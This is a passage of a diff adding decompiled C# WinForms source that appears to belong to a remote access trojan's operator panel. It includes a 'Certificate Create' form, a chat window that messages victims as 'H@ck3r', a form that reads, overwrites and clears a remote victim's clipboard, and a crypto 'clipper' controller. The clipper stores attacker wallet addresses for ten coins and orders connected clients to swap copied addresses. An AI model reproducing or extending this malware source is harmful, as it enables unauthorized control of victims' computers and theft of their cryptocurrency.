this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "Ca Name";
this.rjTextBox1.Size = new System.Drawing.Size(250, 31);
this.rjTextBox1.TabIndex = 2;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BackgroundColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BorderColor = System.Drawing.Color.DarkViolet;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(111, 157);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(103, 29);
this.rjButton1.TabIndex = 3;
this.rjButton1.Text = "Create";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(324, 248);
base.Controls.Add(this.rjTextBox1);
base.Controls.Add(this.rjButton1);
base.Name = "FormCertificate";
this.Text = "Certificate Create";
base.Load += new System.EventHandler(FormAbout_Load);
base.ResumeLayout(false);
}
}
+145
View File
@@ -0,0 +1,145 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormChat : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
public RichTextBox richTextBox1;
public RJTextBox rjTextBox1;
public FormChat()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
rjTextBox1.textBox1.KeyDown += _KeyClick;
}
private void ChangeScheme(object sender)
{
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
richTextBox1.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private void _KeyClick(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Return && !string.IsNullOrEmpty(rjTextBox1.textBox1.Text))
{
client.Send(new object[2]
{
"Message",
"H@ck3r: " + rjTextBox1.textBox1.Text + "\n"
});
RichTextBox richTextBox = richTextBox1;
richTextBox.Text = richTextBox.Text + "H@ck3r: " + rjTextBox1.textBox1.Text + "\n";
richTextBox1.SelectionStart = richTextBox1.Text.Length;
richTextBox1.ScrollToCaret();
rjTextBox1.textBox1.Text = "";
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.richTextBox1.BackColor = System.Drawing.Color.White;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Enabled = false;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.richTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.richTextBox1.Location = new System.Drawing.Point(3, 64);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
this.richTextBox1.Size = new System.Drawing.Size(484, 437);
this.richTextBox1.TabIndex = 15;
this.richTextBox1.Text = "";
this.rjTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.rjTextBox1.Enabled = false;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox1.Location = new System.Drawing.Point(3, 501);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "";
this.rjTextBox1.Size = new System.Drawing.Size(484, 31);
this.rjTextBox1.TabIndex = 16;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(490, 535);
base.Controls.Add(this.richTextBox1);
base.Controls.Add(this.rjTextBox1);
base.Name = "FormChat";
this.Text = "Chat";
base.Load += new System.EventHandler(FormProcess_Load);
base.ResumeLayout(false);
}
}
+204
View File
@@ -0,0 +1,204 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormClipboard : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
public RichTextBox richTextBox1;
private Panel panel1;
public RJButton rjButton1;
public RJButton rjButton2;
public RJButton rjButton3;
public FormClipboard()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
private void ChangeScheme(object sender)
{
richTextBox1.ForeColor = FormMaterial.PrimaryColor;
rjButton1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.ForeColor = FormMaterial.PrimaryColor;
rjButton2.BorderColor = FormMaterial.PrimaryColor;
rjButton2.ForeColor = FormMaterial.PrimaryColor;
rjButton3.BorderColor = FormMaterial.PrimaryColor;
rjButton3.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private void rjButton1_Click(object sender, EventArgs e)
{
if (client.itsConnect)
{
client.Send(new object[1] { "Get" });
}
}
private void rjButton2_Click(object sender, EventArgs e)
{
if (client.itsConnect)
{
client.Send(new object[2] { "Set", richTextBox1.Text });
}
}
private void rjButton3_Click(object sender, EventArgs e)
{
if (client.itsConnect)
{
client.Send(new object[1] { "Clear" });
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.panel1 = new System.Windows.Forms.Panel();
this.rjButton3 = new CustomControls.RJControls.RJButton();
this.rjButton2 = new CustomControls.RJControls.RJButton();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.panel1.SuspendLayout();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.richTextBox1.BackColor = System.Drawing.Color.White;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Enabled = false;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.richTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.richTextBox1.Location = new System.Drawing.Point(3, 64);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(467, 397);
this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = "";
this.panel1.Controls.Add(this.rjButton3);
this.panel1.Controls.Add(this.rjButton2);
this.panel1.Controls.Add(this.rjButton1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(3, 461);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(467, 34);
this.panel1.TabIndex = 2;
this.rjButton3.BackColor = System.Drawing.Color.White;
this.rjButton3.BackgroundColor = System.Drawing.Color.White;
this.rjButton3.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton3.BorderRadius = 0;
this.rjButton3.BorderSize = 1;
this.rjButton3.Enabled = false;
this.rjButton3.FlatAppearance.BorderSize = 0;
this.rjButton3.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton3.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton3.Location = new System.Drawing.Point(199, 3);
this.rjButton3.Name = "rjButton3";
this.rjButton3.Size = new System.Drawing.Size(92, 28);
this.rjButton3.TabIndex = 16;
this.rjButton3.Text = "Clear Clipboard";
this.rjButton3.TextColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton3.UseVisualStyleBackColor = false;
this.rjButton3.Click += new System.EventHandler(rjButton3_Click);
this.rjButton2.BackColor = System.Drawing.Color.White;
this.rjButton2.BackgroundColor = System.Drawing.Color.White;
this.rjButton2.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton2.BorderRadius = 0;
this.rjButton2.BorderSize = 1;
this.rjButton2.Enabled = false;
this.rjButton2.FlatAppearance.BorderSize = 0;
this.rjButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton2.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton2.Location = new System.Drawing.Point(101, 3);
this.rjButton2.Name = "rjButton2";
this.rjButton2.Size = new System.Drawing.Size(92, 28);
this.rjButton2.TabIndex = 15;
this.rjButton2.Text = "Set Clipboard";
this.rjButton2.TextColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton2.UseVisualStyleBackColor = false;
this.rjButton2.Click += new System.EventHandler(rjButton2_Click);
this.rjButton1.BackColor = System.Drawing.Color.White;
this.rjButton1.BackgroundColor = System.Drawing.Color.White;
this.rjButton1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 1;
this.rjButton1.Enabled = false;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.Location = new System.Drawing.Point(3, 3);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(92, 28);
this.rjButton1.TabIndex = 14;
this.rjButton1.Text = "Get Clipboard";
this.rjButton1.TextColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(473, 498);
base.Controls.Add(this.richTextBox1);
base.Controls.Add(this.panel1);
base.Name = "FormClipboard";
this.Text = "Clipboard";
base.Load += new System.EventHandler(FormProcess_Load);
this.panel1.ResumeLayout(false);
base.ResumeLayout(false);
}
}
+642
View File
@@ -0,0 +1,642 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Newtonsoft.Json;
using Server.Connectings;
using Server.Data;
using Server.Helper;
namespace Server.Forms;
public class FormClipper : FormMaterial
{
public bool work;
public string[] CryptoWallet = new string[0];
public List<Clients> clients = new List<Clients>();
private IContainer components;
public DataGridView GridClients;
private Panel panel1;
public MaterialSwitch materialSwitch2;
private RJButton rjButton2;
public RJTextBox rjTextBox10;
public RJTextBox rjTextBox9;
public RJTextBox rjTextBox7;
public RJTextBox rjTextBox8;
public RJTextBox rjTextBox5;
public RJTextBox rjTextBox6;
public RJTextBox rjTextBox3;
public RJTextBox rjTextBox4;
public RJTextBox rjTextBox1;
public RJTextBox rjTextBox2;
public DataGridView GridLog;
private DataGridViewTextBoxColumn ColumnClient;
private DataGridViewTextBoxColumn ColumnType;
private DataGridViewTextBoxColumn ColumnAddress;
private Timer timer1;
public MaterialSwitch materialSwitch7;
public FormClipper()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
if (File.Exists("local\\Clipper.json"))
{
Clipper clipper = JsonConvert.DeserializeObject<Clipper>(File.ReadAllText("local\\Clipper.json"));
rjTextBox2.Texts = clipper.Btc;
rjTextBox1.Texts = clipper.Eth;
rjTextBox4.Texts = clipper.Stellar;
rjTextBox3.Texts = clipper.Litecoin;
rjTextBox6.Texts = clipper.BitcoinCash;
rjTextBox5.Texts = clipper.monero;
rjTextBox8.Texts = clipper.zcash;
rjTextBox7.Texts = clipper.doge;
rjTextBox9.Texts = clipper.dash;
rjTextBox10.Texts = clipper.tron;
materialSwitch2.Checked = clipper.AutoStart;
if (clipper.AutoStart)
{
materialSwitch7.Checked = true;
CryptoWallet = new string[10]
{
string.IsNullOrEmpty(rjTextBox2.Texts) ? "null" : rjTextBox2.Texts,
string.IsNullOrEmpty(rjTextBox1.Texts) ? "null" : rjTextBox1.Texts,
string.IsNullOrEmpty(rjTextBox4.Texts) ? "null" : rjTextBox4.Texts,
string.IsNullOrEmpty(rjTextBox3.Texts) ? "null" : rjTextBox3.Texts,
string.IsNullOrEmpty(rjTextBox6.Texts) ? "null" : rjTextBox6.Texts,
string.IsNullOrEmpty(rjTextBox5.Texts) ? "null" : rjTextBox5.Texts,
string.IsNullOrEmpty(rjTextBox8.Texts) ? "null" : rjTextBox8.Texts,
string.IsNullOrEmpty(rjTextBox7.Texts) ? "null" : rjTextBox7.Texts,
string.IsNullOrEmpty(rjTextBox9.Texts) ? "null" : rjTextBox9.Texts,
string.IsNullOrEmpty(rjTextBox10.Texts) ? "null" : rjTextBox10.Texts
};
work = true;
}
}
}
private void ChangeScheme(object sender)
{
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjTextBox2.BorderColor = FormMaterial.PrimaryColor;
rjTextBox3.BorderColor = FormMaterial.PrimaryColor;
rjTextBox4.BorderColor = FormMaterial.PrimaryColor;
rjTextBox5.BorderColor = FormMaterial.PrimaryColor;
rjTextBox6.BorderColor = FormMaterial.PrimaryColor;
rjTextBox7.BorderColor = FormMaterial.PrimaryColor;
rjTextBox8.BorderColor = FormMaterial.PrimaryColor;
rjTextBox9.BorderColor = FormMaterial.PrimaryColor;
rjTextBox10.BorderColor = FormMaterial.PrimaryColor;
rjButton2.BorderColor = FormMaterial.PrimaryColor;
rjButton2.ForeColor = FormMaterial.PrimaryColor;
GridLog.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
GridLog.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
GridLog.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
GridLog.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, FormClosingEventArgs e)
{
work = false;
Clients[] array = clients.ToArray();
foreach (Clients client in array)
{
Task.Run(delegate
{
client.Disconnect();
});
}
GridClients.Rows.Clear();
Save();
Hide();
e.Cancel = true;
}
private void Save()
{
Clipper clipper = new Clipper();
clipper.Btc = rjTextBox2.Texts;
clipper.Eth = rjTextBox1.Texts;
clipper.Stellar = rjTextBox4.Texts;
clipper.Litecoin = rjTextBox3.Texts;
clipper.BitcoinCash = rjTextBox6.Texts;
clipper.monero = rjTextBox5.Texts;
clipper.zcash = rjTextBox8.Texts;
clipper.doge = rjTextBox7.Texts;
clipper.dash = rjTextBox9.Texts;
clipper.tron = rjTextBox10.Texts;
clipper.AutoStart = materialSwitch2.Checked;
File.WriteAllText("local\\Clipper.json", JsonConvert.SerializeObject(clipper, Formatting.Indented));
}
private void materialSwitch7_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch7.Checked)
{
CryptoWallet = new string[10]
{
string.IsNullOrEmpty(rjTextBox2.Texts) ? "null" : rjTextBox2.Texts,
string.IsNullOrEmpty(rjTextBox1.Texts) ? "null" : rjTextBox1.Texts,
string.IsNullOrEmpty(rjTextBox4.Texts) ? "null" : rjTextBox4.Texts,
string.IsNullOrEmpty(rjTextBox3.Texts) ? "null" : rjTextBox3.Texts,
string.IsNullOrEmpty(rjTextBox6.Texts) ? "null" : rjTextBox6.Texts,
string.IsNullOrEmpty(rjTextBox5.Texts) ? "null" : rjTextBox5.Texts,
string.IsNullOrEmpty(rjTextBox8.Texts) ? "null" : rjTextBox8.Texts,
string.IsNullOrEmpty(rjTextBox7.Texts) ? "null" : rjTextBox7.Texts,
string.IsNullOrEmpty(rjTextBox9.Texts) ? "null" : rjTextBox9.Texts,
string.IsNullOrEmpty(rjTextBox10.Texts) ? "null" : rjTextBox10.Texts
};
string text = string.Join(",", (IEnumerable<string>)CryptoWallet);
Clients[] array = clients.ToArray();
for (int i = 0; i < array.Length; i++)
{
array[i].Send(new object[2] { "Start", text });
}
}
else
{
Clients[] array = clients.ToArray();
for (int i = 0; i < array.Length; i++)
{
array[i].Send(new object[1] { "Stop" });
}
}
Save();
}
private void timer1_Tick(object sender, EventArgs e)
{
Text = $"Clipper Online [{clients.Count}]";
}
private void rjButton2_Click(object sender, EventArgs e)
{
Hide();
}
private void materialSwitch2_CheckedChanged(object sender, EventArgs e)
{
Save();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle();
this.GridClients = new System.Windows.Forms.DataGridView();
this.panel1 = new System.Windows.Forms.Panel();
this.materialSwitch7 = new MaterialSkin.Controls.MaterialSwitch();
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
this.rjButton2 = new CustomControls.RJControls.RJButton();
this.rjTextBox10 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox9 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox7 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox8 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox5 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox6 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox3 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox4 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox2 = new CustomControls.RJControls.RJTextBox();
this.GridLog = new System.Windows.Forms.DataGridView();
this.ColumnClient = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnType = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnAddress = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.timer1 = new System.Windows.Forms.Timer(this.components);
((System.ComponentModel.ISupportInitialize)this.GridClients).BeginInit();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.GridLog).BeginInit();
base.SuspendLayout();
this.GridClients.AllowUserToAddRows = false;
this.GridClients.AllowUserToDeleteRows = false;
this.GridClients.AllowUserToResizeColumns = false;
this.GridClients.AllowUserToResizeRows = false;
this.GridClients.BackgroundColor = System.Drawing.Color.White;
this.GridClients.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.GridClients.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.GridClients.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridClients.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.GridClients.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.GridClients.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.GridClients.DefaultCellStyle = dataGridViewCellStyle2;
this.GridClients.Dock = System.Windows.Forms.DockStyle.Fill;
this.GridClients.EnableHeadersVisualStyles = false;
this.GridClients.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.GridClients.Location = new System.Drawing.Point(3, 230);
this.GridClients.Name = "GridClients";
this.GridClients.ReadOnly = true;
this.GridClients.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridClients.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.GridClients.RowHeadersVisible = false;
this.GridClients.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.GridClients.ShowCellErrors = false;
this.GridClients.ShowCellToolTips = false;
this.GridClients.ShowEditingIcon = false;
this.GridClients.ShowRowErrors = false;
this.GridClients.Size = new System.Drawing.Size(801, 359);
this.GridClients.TabIndex = 12;
this.panel1.Controls.Add(this.materialSwitch7);
this.panel1.Controls.Add(this.materialSwitch2);
this.panel1.Controls.Add(this.rjButton2);
this.panel1.Controls.Add(this.rjTextBox10);
this.panel1.Controls.Add(this.rjTextBox9);
this.panel1.Controls.Add(this.rjTextBox7);
this.panel1.Controls.Add(this.rjTextBox8);
this.panel1.Controls.Add(this.rjTextBox5);
this.panel1.Controls.Add(this.rjTextBox6);
this.panel1.Controls.Add(this.rjTextBox3);
this.panel1.Controls.Add(this.rjTextBox4);
this.panel1.Controls.Add(this.rjTextBox1);
this.panel1.Controls.Add(this.rjTextBox2);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(801, 166);
this.panel1.TabIndex = 11;
this.materialSwitch7.AutoSize = true;
this.materialSwitch7.Depth = 0;
this.materialSwitch7.Location = new System.Drawing.Point(271, 117);
this.materialSwitch7.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch7.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch7.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch7.Name = "materialSwitch7";
this.materialSwitch7.Ripple = true;
this.materialSwitch7.Size = new System.Drawing.Size(92, 37);
this.materialSwitch7.TabIndex = 61;
this.materialSwitch7.Text = "Start";
this.materialSwitch7.UseVisualStyleBackColor = true;
this.materialSwitch7.CheckedChanged += new System.EventHandler(materialSwitch7_CheckedChanged);
this.materialSwitch2.AutoSize = true;
this.materialSwitch2.Depth = 0;
this.materialSwitch2.Location = new System.Drawing.Point(388, 117);
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch2.Name = "materialSwitch2";
this.materialSwitch2.Ripple = true;
this.materialSwitch2.Size = new System.Drawing.Size(129, 37);
this.materialSwitch2.TabIndex = 60;
this.materialSwitch2.Text = "Auto Start";
this.materialSwitch2.UseVisualStyleBackColor = true;
this.materialSwitch2.CheckedChanged += new System.EventHandler(materialSwitch2_CheckedChanged);
this.rjButton2.BackColor = System.Drawing.Color.White;
this.rjButton2.BackgroundColor = System.Drawing.Color.White;
this.rjButton2.BorderColor = System.Drawing.Color.MediumPurple;
this.rjButton2.BorderRadius = 0;
this.rjButton2.BorderSize = 1;
this.rjButton2.FlatAppearance.BorderSize = 0;
this.rjButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton2.ForeColor = System.Drawing.Color.MediumPurple;
this.rjButton2.Location = new System.Drawing.Point(679, 121);
this.rjButton2.Name = "rjButton2";
this.rjButton2.Size = new System.Drawing.Size(92, 27);
this.rjButton2.TabIndex = 59;
this.rjButton2.Text = "Hide";
this.rjButton2.TextColor = System.Drawing.Color.MediumPurple;
this.rjButton2.UseVisualStyleBackColor = false;
this.rjButton2.Click += new System.EventHandler(rjButton2_Click);
this.rjTextBox10.BackColor = System.Drawing.Color.White;
this.rjTextBox10.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox10.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox10.BorderRadius = 0;
this.rjTextBox10.BorderSize = 1;
this.rjTextBox10.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox10.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox10.Location = new System.Drawing.Point(17, 121);
this.rjTextBox10.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox10.Multiline = false;
this.rjTextBox10.Name = "rjTextBox10";
this.rjTextBox10.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox10.PasswordChar = false;
this.rjTextBox10.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox10.PlaceholderText = "tron";
this.rjTextBox10.Size = new System.Drawing.Size(246, 28);
this.rjTextBox10.TabIndex = 57;
this.rjTextBox10.Texts = "";
this.rjTextBox10.UnderlinedStyle = false;
this.rjTextBox9.BackColor = System.Drawing.Color.White;
this.rjTextBox9.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox9.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox9.BorderRadius = 0;
this.rjTextBox9.BorderSize = 1;
this.rjTextBox9.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox9.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox9.Location = new System.Drawing.Point(525, 85);
this.rjTextBox9.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox9.Multiline = false;
this.rjTextBox9.Name = "rjTextBox9";
this.rjTextBox9.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox9.PasswordChar = false;
this.rjTextBox9.PlaceholderColor = System.Drawing.Color.DarkGray;
